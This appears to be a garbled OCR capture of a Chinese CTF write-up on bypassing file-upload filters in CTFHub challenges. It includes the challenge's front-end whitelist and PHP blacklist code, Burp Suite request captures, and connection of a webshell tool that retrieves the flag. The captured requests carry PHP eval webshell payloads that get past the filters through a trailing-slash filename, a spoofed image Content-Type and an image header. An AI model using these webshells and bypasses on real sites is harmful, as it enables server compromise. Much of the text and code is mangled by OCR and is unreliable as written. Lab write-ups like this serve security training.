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3 <head>
4 <{meta charset="UTF-8">
5 <title>CTFHub 3OfF 45 - jePRmIeiE</titler
6 | </head>
7 <hody>
8 <h1>CTFHub SO4F E4E - jeBimieiE</hl>
9 {form action="" method="post” enctype="miltipart/formdata” onsubmit="return checkfilesuffixz()">
10 <label for="file">Filename:</label>
11 {input type="file” name="file” id="file” />
12 <hr S
13 {input type= submit” name="submit” walue="Submit” />
14 < form>
15 | <zcriptr
16 | function checkfilesuffixz()

17 | &

18 var file=document. getElementsByMame( £il1e’ J[0][ valus’ ];
19 if(file==""||file==null)

20 {

21 alert (BRI LB

22 return false;

23 }

24 else

25 {

o PR .f.r.r)

26 var whitelist=new Arrav(”. ipg”,”. pnz



27 var file suffixz=file. silbstrlng/(flhle.il.'astindefthfIL”. 1
28 iflwhitelist. index0f (file_suffix) == -1)

29 {

30 alert ("EN A EE)
31 return false;

32 }

33 }

34|}

35 | <fseript>

36 </body>

37 </html>
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Raw | Headers | Hex
POST / HTTH(1.1 & HTTR .1 200 CK [a
Host: challenge-d96b63dbecds072a sandbox. ctfhub.com: 10800 r Server. openresty/1.19.3.2 T
Content-Length: 322 Date: Sat, 23 Oct 2021 13:55:36 GMT
Cache-Control: max-age=0 Content-Type: text/html; charset=utf-8
Upgrade-Insecure-Requests: 1 Content-Length: 1052
Origin: http:/fchallenge-d26bE3dhecdd072a, sandbox. ctfhub. com: 10800 Connection: close
Content-Type: multipartform-data; boundary=----WebKitFormBoundary 1ixfh219rAaAuGZ X-Powered-By: PHP/7.3.14
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4, x64) AppleWebKit/537.36 (KHTNL, Wary: Accept-Encoding
like Gecko) Chrome/94.0.4606.81 Safari/537 36 Access-Control-Allow-Criging *
Accept Access-Control-Allow-Headers: X-Requested-With
text/html application/xhtml+xml application/xml; q=0.9 image/avif image/webp image/apng Access-Control-Allow-Methods: *
7 q=0.8 application/signed-exchangev=h3;q=0.9
Referer http://ichallenge-d96b63dbecdB072a sandbox_ctfhub com: 10800/ <script=alert( k&g i) </script= b & s fERTE & <brupload/1.php < IDOCTYPE Atmi-
Accept-Encoding: gzip, deflate <html=
Accept-Language: zh-CN,zh;q=0.9 en-US;q=0.8 en;¢q=0.7 <head>
Connection: close <meta charset="UTF-8">
<title=CTFHub fF B4 - jsliigs iE<Aitle>
—————— WebKitFormBoundary 1ixfh2191rAatuGZ </head>
Content-Disposition: form-data; name="file"; filename="1php/' <body>
Content-Type: image/jpeg <h1>CTFHub Z¢f b5 - jsiifiidkit</hl>
<farm action="" method="post" enctype="multipart/form-data" onsubmit="return checkfilesuffix()">
<?php @eval(_POST['shell]); echo"luck"”; 7= <label for="file">Filename:</label>
------ WebKitFormBoundary1ixfh219lrAasuGZ <input type="file" name="fil" id="file" />
Content-Disposition: form-data; name="submit" <hr /=
<input type="submit" name="submit" value="Submit" />
Submit </form=>
—————— WebKitFormBoundary1ixfh2191rAasuGZ- <script>
function checkfilesuffix()
{
var file=d getEl ByN (file)[0]['valueT;
if(file==""file==null)
{
alert(" it i _b 4% 0 k),
return false;
= } =
v else v
0 matches liJ [LJ u u Type a search term 0 matches

w EJ u l;J Type a search term

ZJEHRM EHB—HT
HEHHETISE
upload/1.php

ATl Yl

L/ .=0sENANT



https://blog.csdn.net/qq_45653588/article/details/107546909

CIFNuv (T ~ JoRYinmmaeL WML

Filename: | #eiEszft | SRS

Submit

4 ==

= HdEEE (1)
URL 1t TPt Wi E Peduti i BIEZRTE E A

http://challenge-2428e700e91524 47.9¢

™ EiE#HE ( http://challenge-24a8e700e9152446.sandbox.ctfhub.com:108... _ O %

BEEFE =BT IhLEE
B Eni@m S

URLiHht = . [/challenge-d96b63dbecd8072a.sandbox. ctfhub. com: 10800/ upload/1.php .

EEER T shell

ke E

HoEE L i UTF8 v

Jus el PHP v
S

(=) default (F4E57F)

() random (R385

O base64

2 kiER
o B

W

-

B 532RF (1)
Q&0 A S
D Eihaze

i flfs:

3

¥

« == 0 47.98.148.7

M &g fvar/www/html/flag_2351026094.php

1 <?php // ctfhub{feda5ef6a7555481b2e1686b5}
2

ARREER

.htaccess



RAEBERBYH, NN
— MR Z BT —# 1. php, 4R ERFBITEEE R
THM2EFEN, RAEEAERIEN, &7 TRE, WHETRNRLERA

<seriptralert ( SRR ILER ) </seript>
<html>
<head>
<meta charset="ITF-8">
<titledCTFHub 374 EfE - htaccess</title>
</head>
<hody>
<h1>CTFHub 3C#F 4% - htaccess</h1>
<form action="" method="post” enctype="multipart/form-data”>
<label for="file”>Filename:</label>
<input type="file” name="file” id="file” />
<br /3
input type="submit” name="submit” value="Submit” />
</ formr
< body>
<html>
o
if (lempty(§_POST[ submit’ 1)) {
Jname = basename (5_FILES[ file’ [ name’ 1)

H

]

) Jext = pathinfo($name) [ extension’ ];

| Jblacklist = array("php”, “php7”, “phpB”, “phpd”, “php3”, “phtml”, “pht”, “isp”, "ispa”, “ispx”, "isw”, “isv”, "jspf”, "itml”, "asp”, "aspx”, "asa”, "asax”, "ascx”, "ashx”, "asmx”, "cer”, "swi”)
L if (lin_array(Jext, Iblacklist)) |

H if (move_uploaded file($_FILES[ file’ 1[ tmp_name’ ], UPLOAD_PATH . $name)) {

3 echa “<seriptralert( _EAEENID ) </saripts”;

; echo " LS HAHRTEE S or” . UPLOAD_URL_PATH . §rame;

5 I else

echo “<scriptyalert(’ E{EHEM ) scripty”;

H
) } else {

) echo “(scriptralert( STAFEARURILER ) </seripty”;
I ]

)
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Mo RELEIE FFFE Content-Type &M LT T
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J Intercept T HTTP history T WebSockets history I Options ]

lﬂ Request to http://challenge-d8eblatbd40abd56.sandbox. ctfhub.com: 10800 [47.98.148.7]

l Forward J l Drop J l Intercept is on J { Action J

Raw | Params | Headers | Hex

POST /HTTRH1 A
b am: 10800 P
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g 1 © 7 riR37 36
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, Jzip, deflate

Accept-Language: zh-CN,zh;q=0.9 en-US;g=0.8 en;q=0.7
Connection: close

------ WebKitFormBoundaryBpMgMEJjG zkKweX QK

Content-Dispasition- =iata; name="file"; filename="1.gif"
Content-Typp: image/gif

------ WebKitFormBoundaryBpMNgMaJjG zkKweX QK
Content-Disposition: form-data; name="submit"

Submit
------ WebKitFormBoundaryBpMNgMaJjG zkweX QK-
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J Intercept T HTTP history TWehSockets history I Options ]

[ﬁj Request to http://challenge-d8eb0abb940abd56.sandbox. ctfhub.com:10800 [47.98.148.7]

l Forward J l Drop J [ Intercept is on ] Action ?
Raw | Params | Headers | Hex

POST /HTTRA A :

Host: challenge-d8eb0aBb940abdsE. sandbox. ctthub. com: 10800

Content-Length: 324

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: hitp:/fchallenge-deb0aBh340abds6. sandbox. ctfhub. com: 10800

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryL1 POkdAGIucSYFpZ

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4; x64) AppleWebKit/537 36 (KHTML, like Gecko) Chrome/95.0.4638 .54 Safari/537 .36

Accept: text/html application/xhtml+xml,applicationfxml;q=0.9 image/avif,image/webp image/apng */*,q=0.8 application/signed-exchange;w=h3;q=0.9

Referer: http:/challenge-dSeb0aBh940abdsE. sandbox. ctthub. com: 10800/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN zh;q=0.9 en-US;g=0.8 en;q=0.7

Connection: close

------ WebKitFormBoundary L1 POkdAGIucSYPpZ

Content-Disposition: form-data; name="filz"; filenanye="1.php"

Content-Type| image/gif

<?php @eval($_POST['attack]);?>

------ WebKitFormBoundaryL1POkdAGIueSYPps

Content-Disposition: form-data; name="submit"

Submit

------ WebKitFormBoundary L1 POkdAGIucSYPpi--
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Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex
POST/HTTRII 1 HTTR/1.1 200 0K T

3
Host' challenge-bffac838383f2aad. sandbox. ctfhub. com: 10800 :
Co =405

Cach

Hinrradn 1n-- -

nultipart vl
. x64) AppleWebKia 3/ b (KM ML, like Gecko)

User-Ager,
Chrome/35.0.
Accept
text/html, applica*

plication/sigi .
Referer. hitp:/sunallenae mocB3Rc
AcceptEncor
Accapt-Langt
Connection: closs

erwsbp imags/apng 7=0.8 ap
4b.com:10800/
| _2enUS;q=08 eng=0.7
- WebKitF ormBoundary 1 yAdhkViwBGDeuZzl

Content-Disposition: form-data; name="fle"; filznams="1 php"
Content-Type: image/png

NG
a
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00 CH=  IENDE'D<Pphp @sval(s_POST attack);?>
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Content-Disposition: form-data; name="submit"

Submit
——-WebkKitFormBoundary 1 yAdhkVwBGDe uZZl--

v
Type a search term | 0 matches

Normal text file
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Server: operesty/1.19.3.2
Date: Sat, 30 Oct 2021 03:04:11 GMT
Content-Type: text/html,charset=utf8
Content-Length: 535

Conngction: close

*Powsrsd-By: PHP7 3.14

Vary: Accept-Encoding
Access-ControkAllow-Origin: *
Access-ControkAllow-Headers: X-Requested-With
Access-Controk-Allow-Methods: *

<scripf
<html
<head>
<meta charset="UTF-6">
<title>CTFHub 3fFEAE - Srfk B m</titie>
<lhzad>
<body>
<h1>CTFHub 34k 4% - bF st it
<form action="" method="post" enctype="multipart/form-data">
<label fo Filename:</label>
<input type="file" name="fle" id="fl=" />
<bri>
<input type="submit" name="submit" valug="Submit" />
<fform>
<florm>
<Jhody>

beripts £ P B <bi>upload/1.php < DOCTYPE himi>

g v

</html>
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